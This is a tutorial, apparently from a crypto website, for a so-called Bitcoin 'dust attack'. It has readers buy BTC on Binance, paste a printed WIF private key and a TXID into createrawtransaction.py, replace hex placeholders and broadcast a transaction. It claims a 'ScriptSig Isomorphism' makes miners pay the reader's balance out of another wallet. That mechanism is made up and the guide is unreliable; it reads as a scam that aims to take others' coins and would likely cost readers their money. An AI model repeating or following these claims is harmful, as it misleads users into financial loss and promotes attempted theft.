№1


№2



- Unzip the ZIP file of the source code

- Let’s install pip run get-pip.py manual for use: ( https://pip.pypa.io/en/latest/installing.html )
- pip is a package management system that is used to install and manage software packages written in Python.


- Let’s install all the necessary packages:
- ‘zmq’
- ‘urllib3’
- ‘requests’
- ‘bitcoin-utils’
- ‘bitcoinaddress’


Create a Cold Wallet:
- Enter in “Search:” IDLE

- To generate a random private key in HEX, run the script: randomhex.py



- Let’s get all the data from our cold wallet and run the script: generatedata.py
- ‘Private Key HEX’
- ‘Private Key WIF’
- ‘Private Key WIF compressed’
- ‘Public Key’
- ‘Public Key compressed’
- ‘Public Address 1’
- ‘Public Address 1 compressed’
- ‘Public Address 3’
- ‘Public Address bc1 P2WPKH’
- ‘Public Address bc1 P2WSH’



Top up your cold wallet balance:
https://www.binance.com/en/crypto/buy/USD/BTC
- Let’s go to Binance nd top up the balance of our Public Address 1 compressed: 1BANKshyF5GUF4khXxgsoM7fwaaXcexm5s

- To make significant profits and carry out a successful dust attack, we need to choose a Bitcoin Address compressed and be sure to Base58

https://www.blockchain.com/en/explorer/addresses/btc/1BANKshyF5GUF4khXxgsoM7fwaaXcexm5s


- We need to create our own RawTX for this we open the script: createrawtransaction.py

- Select your ‘Private Key WIF compressed’ value and copy it..
- Let’s insert it into the script code: createrawtransaction.py
pk = PrivateKey.parse("L1kwoDnvDSMjgqaVV5qU8yoPiQmHoHygucT2Nf19Mx5gqUFMdrTj")


№3
https://dustattack.org/79957-2-btc/
- Choose an address to make a profit.


№4
- We need to get the TXID in order to receive BTC from the Bitcoin Wallet: 1FeexV6bAHb8ybZjqQMjJrcCrHGW9sb6uF
https://coinbin.ru/#newTransaction

- Copy TXID: e67a0550848b7932d7796aeea16ab0e48a5cfe81c4e8cca2c5b03e0416850114

- Let’s insert it into the script code: createrawtransaction.py
prev_tx = bytes.fromhex("e67a0550848b7932d7796aeea16ab0e48a5cfe81c4e8cca2c5b03e0416850114")

tx_in._value = 30352330
- 30352330 satoshi this is the amount of our balance. As a result, we will receive this amount of 30352330 satoshi back from the Bitcoin Wallet: 1FeexV6bAHb8ybZjqQMjJrcCrHGW9sb6uF Our profit will be effective compensation from the dust attack.
- If you top up your balance with 1 BTC, which is equal to 100 million satoshi, then in this case, with an active dust attack, you will receive an equivalent return profit of 1 BTC to your Bitcoin Wallet from the unconfirmed transactions of the attacking Bitcoin Wallet.

- 600 satoshi is the amount that we send to Bitcoin Address: 1FeexV6bAHb8ybZjqQMjJrcCrHGW9sb6uF in order to create ScriptSig Isomorphism to make a profit equal to the amount of our balance from the attacking Bitcoin Wallet. In our case, the profit will be 30352330 satoshi.

- 30352330 satoshi is the amount returned to our Bitcoin Wallet. With the deduction of fees in the amount of 200 satoshi which we pay to confirm the transaction.

- Run the script by pressing “F5”
(Run Module)

Result:

- We have received RawTX transactions, now let’s go to the Verify Transactions section.

- Dust Transaction was created correctly.
- Before sending Dust a transaction for confirmation to miners, we need to create a ScriptSig Isomorphism.
- We create ScriptSig Isomorphism to make a profit equal to the amount of our balance from the attacking Bitcoin Wallet.


- ScriptSig Isomorphism created.
- Now in the new RawTX we need to put our value, replacing it
74786964
with thetxid
one from the attacking Bitcoin Wallet.
https://cryptii.com/pipes/hex-to-text

74786964 > txid

- In the new RawTX we need to put our value by replacing 7075626b6579 with our public key.
https://cryptii.com/pipes/hex-to-text

7075626b6579 > pubkey

- In the new RawTX we need to put our value by replacing 68617368313630 with our hash160.
- hash160 is our Bitcoin Address for receiving an equivalent amount of profit corresponding to our balance.
https://cryptii.com/pipes/hex-to-text

68617368313630 > hash160

Decode a transaction:

- Let’s go back to the RawTX transaction, copy it and go to the Decode a transaction section.
https://www.blockchain.com/en/explorer/assets/btc/decode-transaction

- Next, click Broadcast and go to the Broadcast a transaction
https://www.blockchain.com/explorer/assets/btc/broadcast-transaction

- Next, miners will confirm our Dust Transaction
- If for some reason we receive an error, then we need to go through Broadcast a transaction in the section https://coinbin.ru/#broadcast

- To make a profit, miners must confirm ScriptSig Isomorphism
- The amount of profit received will be equal to the balance of our Bitcoin wallet.



Profit in the amount of 30352330 satoshi will go to our Bitcoin Wallet after confirmation of isomorphism by miners.